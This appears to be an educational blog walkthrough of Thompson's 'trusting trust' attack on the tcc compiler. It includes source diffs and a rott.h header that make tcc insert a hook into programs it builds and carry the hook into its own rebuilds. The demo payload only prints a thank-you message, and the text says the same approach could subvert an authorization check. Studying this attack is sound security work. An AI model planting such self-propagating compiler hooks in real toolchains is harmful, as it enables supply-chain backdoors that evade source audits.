Show Source

A little more tangible, worked example of Ken Thompson’s excellent paper, Reflections on Trusting Trust, first published in Communication of the ACM, Vol. 27, No. 8, August 1984, pp. 761-763. Reprinted on the web at http://cm.bell-labs.com/who/ken/trust.html ; go read that first if you haven’t.

Introduction: Escape Codes

Here’s the bit of code that returns the newline character (in tccpp.c, as of revision release_0_9_26-308-g26b26f3):

1685 /* evaluate escape codes in a string. */
1686 static void parse_escape_string(CString *outstr, const uint8_t *buf, int is_long)
...
1696         if (c == '\\') {
1697             p++;
1698             /* escape */
1699             c = *p;
1700             switch(c) {
...
1747             case 'n':
1748                 c = '\n';
1749                 break;
...
1781             cstr_ccat(outstr, c);
...

So wait, we saw the literal sequence \n in the input and we’re defining it to emit '\n'. That’s right, yes, but who knows what \n means any more?

In the final assembler, this code turns into (you can get this with objdump -d -l tcc)

...tccpp.c:1697
  40816a:       4d 89 fd                mov    %r15,%r13
.../tccpp.c:1748
  40816d:       bb 0a 00 00 00          mov    $0xa,%ebx
  408172:       e9 8b f7 ff ff          jmpq   407902 <next_nomacro1+0xa2>

So who knows that '\n' means 0xa? The compiler that compiled tcc knew, and so even though the tcc source doesn’t have a clue, the resulting executable still does the right thing. (If you’re curious about this code in more detail see Appendix: Generated Code In More Detail).

So What? Or: Can You Believe Your Code?

What does your compiler know about what it’s building?

Everything!

So… do you think it could recognize when it’s building, say, a call to is_user_authorized(entered_username, entered_password)? Sure! But the code to do that would stand out like a sore thumb, right?

So… do you think the compiler could recognize when it’s building itself? Oh dear! We could

  • insert the code that wrecks is_user_authorized
  • insert the code that wrecks the compiler

And then, we could delete our changes forever and the compiler would continue to do evil on our behalf, in a way that would pass any source-code audit.

A not-so-malicious Demo!

Rather than hacking an authorization check, let’s just cause tcc’s main() function to thank us for using a malicious compiler.

Consider the following:

$ cd src/tcc
$ make clean && rm -rf _inst*
$ grep . -re malicious
$ ./configure --prefix=$PWD/_inst.via-malicious --cc=$PWD/../tcc.rott/_inst.malicious-via-gcc/bin/tcc
[...]
$ make install clean
[...]
$ ./configure --prefix=$PWD/_inst.via-self-via-malicious --cc=$PWD/_inst.via-malicious/bin/tcc
$ make install clean
[...]
$ ./_inst.via-self-via-malicious/bin/tcc -o ex1 examples/ex1.c
Thanks for using a malicious compiler!
$

While working code exists below (Appendix: ROTTen Diffs), this exercise is much more informative in being done than being read. There’s a hint before the full solution, below, if you want.

Appendix: Generated Code In More Detail

if you look in the assembler, for the \n example above, it’s really not obvious how we get to 0x40816a. The instruction right before is an unconditional jump, and 0x40816a is not a direct jump target anywhere in the whole file! What’s going on?

What’s going on is a jump table. The switch statement of line 1700 has turned into the following curious assembler:

.../tccpp.c:1700
  407fbd:       83 e8 22                sub    $0x22,%eax
  407fc0:       3c 56                   cmp    $0x56,%al
  407fc2:       0f 87 26 03 00 00       ja     4082ee <next_nomacro1+0xa8e>
  407fc8:       0f b6 c0                movzbl %al,%eax
  407fcb:       ff 24 c5 00 30 42 00    jmpq   *0x423000(,%rax,8)

That is, given the value of c in %eax, subtract 0x22 (which, incidentally, is ASCII for the double quotation character and is the smallest value used in a case statement in this switch construct), compare the result to 0x56 (comparing c against 0x78, ASCII for x, the highest value used in a case statement). If larger, go to a default case at 0x4082ee. Otherwise… say hello to Intel.

Effectively, the next two operations compute the following expression:

0x423000 + (((c - 0x22) & 0xFF) << 3)

Which is using c as an index into an array of something 8 bytes wide at 0x423000. What’s there? More importantly, what’s at 0x423260, the computed value when c is 'n'? Using objdump -s, we find that this is part of the “read-only data” section of the executable, .rodata

423000 02814000 00000000 ee824000 00000000  ..@.......@.....
423010 ee824000 00000000 ee824000 00000000  ..@.......@.....
423020 ee824000 00000000 02814000 00000000  ..@.......@.....
...
423260 6a814000 00000000 ee824000 00000000  j.@.......@.....
...

Which is little-endian for 0x40816a! Look at that.

Appendix: ROTTen Diffs

The ROTTen demo above is also probably not obvious. I, again, strongly encourage you to work on it yourself before reading the solution presented here, as it is vastly more informative to figure out what happens when and so on.

I will be the first to admit, by the way, that this is probably the least subtle ROTT imaginable. The resulting compiler contains some, shall we say, rather incriminating strings. That’s merely expedience and laziness on my part and is not fundamental to the lessons here.

For starters, here’s the diff I had to make to the “stage one” compiler:

--- a/tccgen.c
+++ b/tccgen.c
@@ -19,6 +19,7 @@
  */

 #include "tcc.h"
+#include "rott.h"

 /********************************************************/
 /* global variables */
@@ -73,6 +74,8 @@ ST_DATA char *funcname;

 ST_DATA CType char_pointer_type, func_old_type, int_type, size_type;

+ROTT_STAGE1_DECLS
+
 /* ------------------------------------------------------------------------- */
 static void gen_cast(CType *type);
 static inline CType *pointed_type(CType *type);
@@ -4595,6 +4598,8 @@ static void block(int *bsym, int *csym, int *case_sym, int *def_sym,
     int a, b, c, d;
     Sym *s, *frame_bottom;

+    ROTT_STAGE1_BLOCK_PREFIX;
+
     /* generate line number info */
     if (tcc_state->do_debug &&
         (last_line_num != file->line_num || last_ind != ind)) {
--- a/tccpp.c
+++ b/tccpp.c
@@ -19,6 +19,7 @@
  */

 #include "tcc.h"
+#include "rott.h"

 /********************************************************/
 /* global variables */
@@ -1085,6 +1086,8 @@ ST_INLN Sym *define_find(int v)
 /* free define stack until top reaches 'b' */
 ST_FUNC void free_defines(Sym *b)
 {
+    ROTT_STAGE1_OUTPUT_PREFIX
+
     Sym *top, *top1;
     int v;

Once more, I strongly urge you to stop reading here. The above shows you where you can hook in tcc to get a decent fingerprint of what function is being built and where to do any post-processing. As another hint, almost all of the actual magic here is the same magic as in a quine: we need a program that can carry its own source or (something equivalent to it) around at runtime. Kleene’s Recursion Theorem is an amazing thing.

Since you kept reading, tho’, I assume you want to know what’s in rott.h. Here it is:

#define STRINGIFY(x) #x
#define XSTRINGIFY(x) STRINGIFY(x)

#define ROTT_RECURSE_FLAG 0x8000

#define ROTT_HOOK(rh_flag, rh_file, rh_fun, rh_hook) \
    if(!(do_rott_flags & (ROTT_RECURSE_FLAG | rh_flag)) \
         && !strcmp(file->filename, rh_file) \
         && !strcmp(funcname, rh_fun)) { \
        static CType hook_type; \
        do_rott_flags |= rh_flag; \
        hook_type.t = VT_FUNC; \
        hook_type.ref = sym_push(SYM_FIELD, &int_type, FUNC_CDECL, FUNC_OLD); \
        TokenSym *t = tok_alloc(rh_hook, sizeof(rh_hook)-1); \
        vpush_global_sym(&hook_type, t->tok); \
        gfunc_call(0); \
    } \

#define ROTT_STAGE1_BLOCK_PREFIX \
  ROTT_HOOK(0x1, "tcc.c", "main", "rott_main_hook") \
  ROTT_HOOK(0x2, "tccgen.c", "block", "rott_block_hook") \
  ROTT_HOOK(0x4, "tccpp.c", "free_defines", "rott_output_hook")

#define ROTT_FINISH_BUF \
      p = buf + strlen(buf); \
      for(; *i; i++) { \
        switch(*i) { \
         case '\\': \
         case '\"': \
           *p++ = '\\'; break; \
        } \
        *p++ = *i; \
      } \
      *p++ = '\"'; \
      *p++ = ';'; \
      *p++ = '\n'; \
      *p++ = '\000';

#define ROTT_STAGE1_OUTPUT_PREFIX \
    { \
    extern struct TCCState *tcc_state; \
    extern int do_rott_flags; \
    extern const char *rott_block_hook_body; \
    extern const char *rott_output_hook_body; \
    void *s = tcc_state; \
    if((do_rott_flags & 0x1) && !(do_rott_flags & ROTT_RECURSE_FLAG)) { \
      char buf[10000] = ""; \
      const char *i; \
      char *p; \
      do_rott_flags |= ROTT_RECURSE_FLAG; \
      strcat(buf,"int do_rott_flags;\n"); \
      strcat(buf,"void rott_block_hook(void);\n"); \
      strcat(buf,"void rott_block_hook() {"); strcat(buf, rott_block_hook_body); strcat(buf, "}\n"); \
      strcat(buf,"void rott_output_hook(void);\n"); \
      strcat(buf,"void rott_output_hook() {"); strcat(buf, rott_output_hook_body); strcat(buf, "}\n"); \
      strcat(buf,"void rott_main_hook(void);\n"); \
      strcat(buf,"void rott_main_hook(void) { printf(\"Thanks for using a malicious compiler!\n\"); }\n"); \
      strcat(buf,"char *rott_block_hook_body = \""); i = rott_block_hook_body; ROTT_FINISH_BUF; \
      strcat(buf,"char *rott_output_hook_body = \""); i = rott_output_hook_body; ROTT_FINISH_BUF; \
      tcc_compile_string(s, buf); \
      do_rott_flags &= ~(ROTT_RECURSE_FLAG | 0x1); \
    }}

#define ROTT_STAGE1_DECLS \
  int do_rott_flags; \
  const char *rott_block_hook_body = XSTRINGIFY(ROTT_STAGE1_BLOCK_PREFIX); \
  const char *rott_output_hook_body = XSTRINGIFY(ROTT_STAGE1_OUTPUT_PREFIX); \

Patch your source (I used a separate directory tcc.rott for this) and build it using your favorite C compiler. Then go back to your pristine source tree and run the demo above and marvel.